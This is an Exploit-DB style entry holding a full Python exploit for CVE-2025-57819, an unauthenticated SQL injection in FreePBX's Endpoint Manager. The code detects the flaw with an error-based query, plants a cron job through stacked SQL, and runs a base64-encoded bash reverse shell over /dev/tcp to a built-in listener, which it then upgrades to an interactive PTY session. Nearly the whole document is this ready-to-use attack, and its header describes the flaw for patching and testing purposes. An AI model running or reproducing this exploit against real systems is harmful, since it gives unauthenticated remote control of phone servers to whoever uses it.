FreePBX 17.0.2 - Remote Code Execution (RCE)

EDB-ID:

52681




Platform:

Multiple

Date:

2026-09-03


# Exploit Title: FreePBX 17.0.2 - Remote Code Execution
# Date: 2026-08-12
# Exploit Author: K3ysTr0K3R (Jared Brits)
# Vendor Homepage: https://www.freepbx.org/
# Software Link: https://github.com/FreePBX/freepbx
# Version: FreePBX 15.x < 15.0.66, 16.x < 16.0.89, 17.x < 17.0.3
# Tested on: Linux (Debian/Ubuntu) with Asterisk
# CVE: CVE-2025-57819
# CWE: CWE-89 (SQL Injection), CWE-288 (Authentication Bypass)
# CVSS: 9.8 (Critical) / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
# Tags: FreePBX, SQL Injection, Authentication Bypass, Remote Code Execution, Unauthenticated, Reverse Shell, Cron Injection, CVE-2025-57819
# References: https://nvd.nist.gov/vuln/detail/CVE-2025-57819 | https://github.com/FreePBX/security-reporting/security/advisories/GHSA-m42g-xg4c-5f3h
#
# Description:
# CVE-2025-57819 is a critical unauthenticated SQL injection vulnerability discovered in the 
# Endpoint Manager module of FreePBX. The flaw resides in the 'brand' parameter of the 
# /admin/ajax.php endpoint, which fails to sanitize user input before using it in SQL queries.
#
# An unauthenticated attacker can exploit this by sending a crafted GET request that injects
# arbitrary SQL commands. Because the application uses stacked queries (multiple statements 
# separated by semicolons), an attacker can execute an INSERT statement to add a malicious 
# cron job to the 'cron_jobs' table. This cron job runs a reverse shell command with 
# administrative privileges (typically as the Apache user), leading to full remote code 
# execution on the underlying server.
#
# The vulnerability affects FreePBX versions 15.x prior to 15.0.66, 16.x prior to 16.0.89, 
# and 17.x prior to 17.0.3. It has been assigned a CVSS score of 9.8 (Critical) and is 
# listed in CISA's Known Exploited Vulnerabilities catalog.
#
# This exploit automates the process by:
# 1. Validating the target is vulnerable using an error-based SQLi detection.
# 2. Starting a reverse shell listener on the attacker's machine.
# 3. Injecting a base64-encoded reverse shell command into the cron_jobs table via the SQLi.
# 4. Waiting for the cron job to execute (within 60 seconds) and capturing the shell.
#
# Usage:
# python3 exploit.py -u http://target-freepbx.com --lhost 10.0.0.1 --lport 4444

import sys
import time
import requests
import urllib3
import socket
import threading
import base64
import argparse
from rich.console import Console

console = Console()

def banner():
    console.print("[cyan]CVE-2025-57819 • FreePBX Unauth SQLi → RCE[/cyan]")
    console.print("[cyan]Coded By: K3ysTr0K3R (Jared Brits)[/cyan]")
    console.print("[yellow]Need a hug? ʕっ•ᴥ•ʔっ[/yellow]")
    print()

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def validate_sqli(target_url):
    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    payload = "x' AND EXTRACTVALUE(1,CONCAT('~',(SELECT USER()),'~')) -- -"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': payload
    }
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if "XPATH syntax error" in response.text and "freepbxuser" in response.text:
            console.print("[green][+][/green] Exploit path confirmed!")
            return True
        else:
            console.print("[red][-][/red] Target immune – no vulnerable signature detected.")
            return False
    except Exception as e:
        console.print(f"[red][-][/red] Probe failed: {e}")
        return False

def start_listener(lhost, lport):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((lhost, lport))
    except Exception as e:
        console.print(f"[red][-][/red] Listener deployment failed: {e}")
        sys.exit(1)
    server.listen(1)
    console.print(f"[blue][*][/blue] Reverse listener armed on {lhost}:{lport}, awaiting callback...")
    client, addr = server.accept()
    console.print(f"[green][+][/green] Incoming shell session acquired from {addr}!")

    pty_attempts = [
        b"python3 -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"python -c 'import pty; pty.spawn(\"/bin/bash\")'\n",
        b"script -q /dev/null /bin/bash\n",
    ]
    for cmd in pty_attempts:
        client.send(cmd)
        time.sleep(0.5)
    console.print("[blue][*][/blue] Interactive control established. Type 'exit' to terminate session.")

    def reader():
        while True:
            try:
                data = client.recv(4096)
                if not data:
                    break
                sys.stdout.buffer.write(data)
                sys.stdout.flush()
            except:
                break

    recv_thread = threading.Thread(target=reader)
    recv_thread.daemon = True
    recv_thread.start()

    try:
        while True:
            cmd = input()
            if cmd.lower() == 'exit':
                client.close()
                break
            client.send((cmd + "\n").encode())
    except (EOFError, KeyboardInterrupt):
        print()
        console.print("[yellow][!][/yellow] Forced session termination.")
        client.close()
    except Exception as e:
        console.print(f"[red][-][/red] Channel error: {e}")
        client.close()
    console.print("[blue][*][/blue] Remote session closed.")

def exploit(target_url, lhost, lport):
    banner()
    console.print(f"[blue][*][/blue] Target locked: {target_url}")

    listener_thread = threading.Thread(target=start_listener, args=(lhost, lport))
    listener_thread.daemon = True
    listener_thread.start()
    time.sleep(1)

    if not validate_sqli(target_url):
        console.print("[red][-][/red] Exploit aborted – target not vulnerable.")
        sys.exit(1)

    shell_cmd = f"bash -c 'exec bash -i &>/dev/tcp/{lhost}/{lport} <&1'"
    b64_shell_cmd = base64.b64encode(shell_cmd.encode()).decode()
    final_cmd = f"echo '{b64_shell_cmd}' | base64 -d | bash"
    hex_payload = final_cmd.encode().hex()

    sql_payload = (
        f"x' ;INSERT INTO cron_jobs "
        f"(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order) "
        f"VALUES ('sysadmin', 'revshell', 0x{hex_payload}, NULL, '* * * * *', 30, 1, 1) -- "
    )

    vuln_url = f"{target_url.rstrip('/')}/admin/ajax.php"
    params = {
        'module': 'FreePBX\\modules\\endpoint\\ajax',
        'command': 'model',
        'template': 'x',
        'model': 'model',
        'brand': sql_payload
    }

    console.print("[blue][*][/blue] Injecting payload into cron schedule...")
    try:
        response = requests.get(vuln_url, params=params, verify=False, timeout=15)
        if response.status_code in (200, 500):
            console.print(f"[green][+][/green] Payload planted successfully (server response: {response.status_code})")
            console.print("[blue][*][/blue] Awaiting trigger activation (cron will fire within ~60 seconds)...")
        else:
            console.print(f"[red][-][/red] Unexpected status {response.status_code} – payload may have missed.")
            console.print(response.text[:200])
            sys.exit(1)
    except Exception as e:
        console.print(f"[red][-][/red] Injection delivery failed: {e}")
        sys.exit(1)

    console.print(f"[blue][*][/blue] Backdoor callback expected from {lhost}:{lport} in the next 60–90 seconds...")
    listener_thread.join()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2025-57819 FreePBX Unauthenticated SQLi → RCE")
    parser.add_argument("-u", "--url", required=True, help="Target URL (e.g., http://127.0.0.1)")
    parser.add_argument("--lhost", required=True, help="Listener IP address")
    parser.add_argument("--lport", type=int, required=True, help="Listener port")
    args = parser.parse_args()

    exploit(args.url, args.lhost, args.lport)